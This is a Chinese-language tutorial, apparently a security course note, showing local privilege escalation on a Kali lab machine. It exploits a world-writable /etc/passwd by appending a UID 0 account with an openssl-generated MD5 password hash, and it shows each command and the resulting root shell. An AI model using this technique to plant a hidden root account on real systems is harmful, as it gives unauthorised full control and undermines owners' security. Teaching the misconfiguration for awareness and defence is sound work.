• 对于一个正常的 /etc/passwd 文件来说,他的权限如下所示:
1
2
3
┌──(root㉿kali)-[~]
└─# ls -l /etc/passwd
-rw-r--r-- 1 root root 3163 Aug 21 14:59 /etc/passwd
  • 根据所学权限可以看出,/etc/passwd 默认是主要 root 用户可读可写,root 组与其他组可读。
  • 但是,假设运维人员突然抽了一下,将权限改为任意用户可读可写时,就会产生隐患:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
┌──(root㉿kali)-[~]
└─# chmod o+w /etc/passwd

┌──(root㉿kali)-[~]
└─# ls -l /etc/passwd
-rw-r--rw- 1 root root 3163 Aug 21 14:59 /etc/passwd

┌──(root㉿kali)-[~]
└─# su kali

┌──(kali㉿kali)-[/root]
└─$ head -n 2 /etc/passwd
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  • 这时我们需要做的就是:尝试伪造一个用户,在密码占位符处指定密码,并且 UID 设置为 0,将其添加到 /etc/passwd 文件中。
  • 其中 x 位置表示的是该用户的密码,密码可以采用多种形式(但肯定不能是明文),但是由于 Kali 来说这里使用的是 md5 加密。
  • 这里使用 openssl 工具生成加密的密码:
1
2
3
4
5
6
7
# 使用基于 MD5 的密码算法计算和加盐指定密码的哈希值,这里盐为 123456,后续需要填写密码,这里密码为 123
openssl passwd -1 -salt 123456

┌──(kali㉿kali)-[/root]
└─$ openssl passwd -1 -salt 123456
Password:
$1$123456$wWKtx7yY/RnLiPN.KaX.z.
  • 编写一个具有管理员权限的字符串:
1
2
3
4
5
6
7
8
yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh

┌──(kali㉿kali)-[/root]
└─$ echo 'yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh' >> /etc/passwd

┌──(kali㉿kali)-[/root]
└─$ tail -n 1 /etc/passwd
yongz:$1$123456$wWKtx7yY/RnLiPN.KaX.z.:0:0:root:/root:/usr/bin/zsh
  • 切换一下用户,查看是否成功:
1
2
3
4
5
6
┌──(kali㉿kali)-[/root]
└─$ su yongz
Password:

┌──(root㉿kali)-[~]
└─#

注:可能有同学非常疑惑,为什么 su yongz 切换到的却是 root,这是因为在最上方已经有一个 UID=0 的 root 用户了,所以系统优先识别到第一个 UID=0 的用户。